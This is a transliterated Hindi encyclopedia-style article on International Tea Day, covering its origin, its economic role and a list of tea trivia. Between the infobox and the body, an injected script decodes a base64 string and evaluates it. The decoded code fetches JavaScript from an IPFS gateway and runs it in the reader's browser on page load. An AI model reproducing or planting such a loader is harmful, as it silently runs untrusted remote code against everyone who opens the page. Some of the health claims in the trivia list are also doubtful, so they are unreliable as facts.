अंतरराष्ट्रीय चाय दिवस

aantararashtriy chay divas
aantararashtriy chay divas|200px|center
vivaran	'aantararashtriy chay divas' ko manane ka prastav bharat ne milan mean ayojit aantararashtriy khady aur krishi sangathan ki baithak ke dauran rakha tha.
tithi	21 mee
shuruat	15 disanbar, 2005 se
pramukh tathy	aantararashtriy chay divas pahale har sal 15 disanbar ko vibhinn chay utpadak deshoan dvara manaya jata tha. lekin ab sanyukt rashtr ne 21 mee ko aantararashtriy chay divas ghoshit kar diya hai.
any janakari	bharat mean chay ka utpadan mukhy roop se asam mean hota hai aur chay hi asam ka rashtriy pey bhi hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aantararashtriy chay divas (aangrezi: International Tea Day) pratyek varsh 21 mee ko manaya jata hai. pahale yah divas vishvabhar mean har sal 15 disanbar ko vibhinn chay utpadak deshoan dvara manaya jata tha. bharat ki sipharish par ab sanyukt rashtr ne 21 mee ko aantararashtriy chay divas ghoshit kar diya hai. darasal adhikatar chay utpadak deshoan mean gunavattapoorn chay utpadan ka sijan mee mean hi shuroo hota hai.

mahattv

chay utpadan aur prasanskaran vikasashil deshoan mean lakhoan parivaroan ke lie ajivika ka mukhy srot hai aur lakhoan garib parivaroan ke lie nirvah ka mukhy sadhan hai, jo kam se kam vikasit deshoan mean rahate haian. chay udyog kuchh garib deshoan ke lie ay aur niryat rajasv ka ek mukhy srot hai aur shram-gahan kshetr ke roop mean, vishesh roop se doorasth aur arthik roop se vanchit kshetroan mean rojagar pradan karata hai. sirph yahi nahian, chay vikasashil deshoan mean gramin vikas, garibi mean kami aur khady suraksha mean mahatvapoorn bhoomika nibha sakati hai, jo ki sabase mahatvapoorn nakadi phasaloan mean se ek hai.

aantararashtriy chay divas har kisi ke dainik jivan mean chay ke mahattv ko batata hai. aantararashtriy chay divas duniya bhar mean chay ke mahatv ke bare mean jagarookata badhane ke lie manaya jata hai. ab tak ke poore itihas mean chay ek moolyavan arthik vastu rahi hai. is din ka lakshy behatar vyapar prathaoan aur kam ki paristhitiyoan ko badhava dene ke sath-sath chay ke naitik aur tikaoo utpadan par keandrit hai. is din ka uddeshy bhookh aur garibi se l dane ke bare mean jagarookata badhana bhi hai. chay ke vikas mean gahan dekhabhal aur prayas ki avashyakata hoti hai.

itihas

yah din har sal logoan aur sarakar ka dhyan khianchane ke lie manaya jata hai. halaanki, bharat ki sipharish par sanyukt rashtr ne 21 mee ko aantararashtriy chay divas ghoshit kiya hai. 4 sal pahale milan mean huee aantararashtriy khady aur krishi sangathan (epheo) ke aantar sarakari samooh ki baithak mean bharat ne yah prastav pesh kiya tha. sanyukt rashtr mahasabha ne chay ke aushadhiy gunoan ke sath saanskritik mahatv ko bhi manyata di hai. aantararashtriy chay divas ki shuruat 15 disanbar, 2005 ko nee dilli se huee thi, lekin ek varsh bad yah shrilanka mean manaya gaya aur vahaan se vishv bhar mean ise manaya jane laga.

rochak tathy

1. chin ke logoan ne sabase pahale chay pina shuroo kiya.
2. aisa kaha jata hai ki chin ke ek raja 'shain nuang' ke samane garam pani ka pyala rakha gaya tha, usamean galati se chay ki sookhi pattiyaan gir gee aur us pani ka rang badal gaya. raja ne jab is pey ko piya to use yah naya svad behad pasand aya aur tab se hi chay pine ki shuruat ho gee.
3. pani ke bad chay aisa pey padarth hai, jo duniya mean sabase jyada piya jata hai.
4. shuroo mean chay keval sardiyoan mean davaee ki tarah pi jati thi. ise roj pine ki paranpara bharat mean hi shuroo huee.
5. bharat mean 1835 se chay pine ki shuruat huee.
6. kaha jata hai ki 1,500 se jyada prakar ki chay hoti hai jisamean kali, hari, saphed aur pili chay kaphi prachalit haian.
7. agar chay ki pattiyoan ko kuchh der pani mean bhigo dean aur usaki smail (gandh) ghar mean phailaean to yah prakritik 'aaulaut' ka kam karata hai aur machchhar bhaga deta hai.
8. chay afaganistan aur eeran ka rashtriy pey hai.
9. ianglaiand ke log roj 16 karo d chay ke kap pite haian. is hisab se sal mean 60 arab kaps chay pi jate haian.
10. kali chay ka upayog kul chay ka 75% hai.
11. bharat mean chay ka utpadan mukhy roop se asam mean hota hai aur ti hi asam ka rashtriy pey bhi hai.
12. chay utpadan mean chin pahale nanbar par hai aur bharat doosare par.
13. blaik ti yani kali chay ki sabase jyada khapat bharat mean hoti hai.
14. amerika mean 80% chay ki khapat ais ti ke ph aaurm mean hoti hai.
15. turki ka har vyakti roj 10 kap chay pi leta hai.
16. chay mean eantiaauksideants hote haian, jo umr badhane se apaki raksha karate haian.
17. khali pet blaik ti pine se pet phoolata hai tatha esiditi aur apach ho sakati hai.
18. khali pet chay pine se apaki bhookh prabhavit hoti hai ya phir bhookh lagana hi band ho jati hai. aisa hone par ap jaroori poshan se vanchit rah sakate haian.
19. chay agar atyadhik ubali gee ho to adhik nukasanadayak ho jati hai.
20. straang ti pine se alsar hone ka khatara badhata hai.
21. din mean 4-5 kaps chay pine se purush mean prostet kaiansar ki ashanka badh jati hai.
22. aaustreliya mean hue ek shodh ke hisab se chay pine se haddiyaan majaboot hoti haian. chay mean kechetin nee bon banane mean madad karata hai.
23. ti baigs ka inveanshan galati se hua tha.
24. amerika ke ek vyapari th aaumas sulivan ne chay ke saianpal silk baig mean dalakar grahak ko bheje. grahak ne galati se poora silk baig hi garam pani mean dal diya. jab sulivan ko apani is galati ka phayada milane laga to usase ti ko baigs mean dalakar bechana shuroo kiya.
25. chay mean ek 'el-thenain' nam ka iangredieant hota hai, jo apake bren p aauvar ko badhane mean madad karata hai, stres kam karata hai, buddhi vikas karata hai aur apako kuchh der tak niand nahian lagane deta.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

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